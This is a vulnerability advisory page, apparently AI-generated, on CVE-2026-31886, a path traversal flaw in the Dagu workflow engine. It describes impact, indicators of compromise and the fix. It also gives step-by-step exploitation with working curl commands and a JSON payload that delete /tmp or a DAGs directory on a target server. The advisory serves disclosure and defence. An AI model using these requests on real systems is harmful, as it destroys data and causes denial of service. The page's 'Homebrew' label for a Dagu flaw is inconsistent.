CVE-2026-31886: 
Homebrew vulnerability analysis and mitigation

Overview

CVE-2026-31886 is a path traversal vulnerability in Dagu, a workflow engine with a built-in web UI, affecting all versions prior to 2.2.4. The dagRunId request field accepted by the inline DAG execution endpoints (POST /api/v1/dag-runs and POST /api/v1/dag-runs/enqueue) is passed directly into filepath.Join without validation, allowing an authenticated attacker to redirect a deferred os.RemoveAll call to arbitrary directories such as /tmp. Disclosed on March 13, 2026, the vulnerability carries a CVSS v3.1 score of 9.1 (Critical) per the GitHub Advisory Database (Github Advisory).

Technical details

The root cause is improper input validation (CWE-22 / CWE-20) in the loadInlineDAG() function within internal/service/frontend/api/v1/dagruns.go. At line 234, the code executes tmpDir := filepath.Join(os.TempDir(), nameHint, dagRunID) where dagRunID is user-supplied and unvalidated; Go's filepath.Join resolves .. segments lexically, so supplying ".." causes filepath.Join("/tmp", "inline", "..") to resolve to /tmp. A deferred cleanup closure func() { os.RemoveAll(tmpDir) } is registered unconditionally and fires when the HTTP handler returns, deleting whatever directory the traversal resolved to. Although the OpenAPI schema defines a restrictive pattern (^[a-zA-Z0-9_-]+$) for dagRunId, the StrictValidation flag that would enforce it via middleware is hardcoded to false and cannot be set via configuration, meaning the validator middleware is never registered in any standard deployment (Github Advisory).

Impact

The primary impact is a permanent denial of service: on root or Docker deployments (a common dagu production pattern), a single authenticated request deletes the entire contents of /tmp, disrupting every process on the system relying on temporary files, including shared libraries, Unix sockets, and lock files. On non-root deployments, all /tmp files owned by the dagu process user are deleted, interrupting all concurrent dagu workflow runs. A secondary impact is an arbitrary file write: the attacker-controlled spec YAML is written to filepath.Join(tmpDir, nameHint+".yaml"), enabling an attacker to write content to arbitrary writable directories (e.g., the DAGs directory), and the subsequent os.RemoveAll can permanently destroy the entire DAGs directory, eliminating all workflow definitions for all users. The attack can be repeated continuously with no rate limiting (Github Advisory).

Exploitability

A public proof-of-concept exploit is available in the GitHub security advisory, including a standalone poc.py Python script and curl one-liners that perform actual HTTP requests to trigger os.RemoveAll("/tmp") on a real target server (Github Advisory). Exploitation requires low-privilege authentication (operator, developer, manager, or admin role) on versions after 1.30.3; on versions 1.30.3 and earlier where the default auth.mode was none, no authentication is required at all. The EPSS score is approximately 0.058% (0.00148 per Feedly), and there is no evidence of in-the-wild exploitation or CISA KEV catalog listing as of the time of this report. Qualys has assigned detection ID 761789 for this vulnerability.

Exploitation steps

  1. Reconnaissance: Identify internet-facing Dagu instances (default port 8080) using tools like Shodan or Censys. Determine the version — instances running < 2.2.4 are vulnerable. Check if auth.mode: none is configured (versions ≤ 1.30.3 default) for unauthenticated exploitation.

  2. Authenticate (required for versions > 1.30.3): Obtain a JWT token using any low-privilege account:

TOKEN=$(curl -s -X POST http://TARGET:8080/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"operator","password":""}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
  1. Send the malicious request: POST to the inline DAG execution endpoint with dagRunId set to ".." to trigger path traversal:
curl -s -X POST http://TARGET:8080/api/v1/dag-runs \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"spec":"steps:\n - name: s\n command: id\n","dagRunId":".."}'
  1. Server-side execution: The server computes filepath.Join("/tmp", "inline", "..") = /tmp, writes the spec to /tmp/inline.yaml, executes it, then the deferred os.RemoveAll("/tmp") fires before the HTTP response is returned.

  2. Achieve denial of service: On root/Docker deployments, all contents of /tmp are deleted. Repeat the request continuously to maintain the DoS condition with no cooldown.

  3. Optional — arbitrary file write/DAGs directory deletion: Use a traversal value targeting a known writable path (e.g., "../../home/dagu/dags") with a name field to write attacker-controlled YAML to that directory, then have os.RemoveAll delete the entire DAGs directory:

{"spec": "steps:\n - name: s\n command: id\n", "name": "payload", "dagRunId": "../../home/dagu/dags"}

(Github Advisory)

Indicators of compromise

  • Network: Unexpected HTTP POST requests to /api/v1/dag-runs or /api/v1/dag-runs/enqueue containing a dagRunId field with values like "..", "../..", or other path traversal sequences in the JSON body; repeated rapid POST requests to these endpoints from the same source IP.
  • Logs: Dagu access logs showing POST requests to /api/v1/dag-runs with JSON bodies containing dagRunId values outside the expected alphanumeric pattern [a-zA-Z0-9_-]+; HTTP 200 responses to such requests (the server returns 200 even after the deletion occurs).
  • File System: Sudden disappearance of files in /tmp or a significant reduction in the file count in /tmp; missing or deleted DAGs directory contents (/home/dagu/dags/ or equivalent); unexpected .yaml files written to directories outside the intended /tmp/<name>/<id>/ path (e.g., /tmp/inline.yaml).
  • Process: Dagu workflow runs failing unexpectedly due to missing temporary files; processes on the same host failing due to missing /tmp entries (Unix sockets, lock files, runtime libraries).

Mitigation and workarounds

Upgrade Dagu to version 2.2.4 or later, which includes the fix adding dagRunID validation via a regex (^[a-zA-Z0-9_-]+$) before the filepath.Join call and a base-directory prefix check in loadInlineDAG() (Github Advisory). The patch commit is available at dagucloud/dagu@12c2e53. As interim workarounds: restrict network access to the Dagu API endpoints to trusted users only using firewall rules or a reverse proxy with authentication enforcement; run Dagu with a non-root, minimal-privilege process account to limit the scope of any /tmp deletion to files owned by that user (Linux sticky bit will protect other users' files). Ensure auth.mode is not set to none on any version, requiring at minimum operator-level credentials for API access.

Community reactions

The vulnerability was discussed on Mastodon and Bluesky shortly after disclosure, with posts from security community accounts noting the severity of the path traversal and its DoS potential (Github Advisory). A threat intelligence write-up was published by Yazoul.net characterizing it as a critical directory traversal requiring immediate update. The advisory was picked up by multiple vulnerability tracking platforms including VulDB, CVEFeed, and GitLab's advisory database within hours of publication.

Additional resources

  • Github Advisory — Official GitHub Security Advisory (GHSA-m4q3-457p-hh2x) with full technical details and PoC
  • Dagu Security Advisory — Vendor security advisory with attack scenario and recommended fix
  • Patch Commit — Fix commit in the dagu repository
  • Go Vuln DB — Go vulnerability database entry GO-2026-4693
  • GitLab Advisory — GitLab advisory database entry for Go package

Source: This report was generated using AI

Related Homebrew vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-103678HIGH8.1
  • NixOS logoNixOS
  • tnef
NoNoOct 01, 2026
CVE-2026-103680MEDIUM6.5
  • NixOS logoNixOS
  • tnef
NoNoOct 01, 2026
CVE-2026-103679MEDIUM6.5
  • NixOS logoNixOS
  • tnef
NoNoOct 01, 2026
CVE-2026-100266MEDIUM6.5
  • NixOS logoNixOS
  • hub
NoYesSep 30, 2026
CVE-2026-100265MEDIUM6.5
  • NixOS logoNixOS
  • rider
NoYesSep 30, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management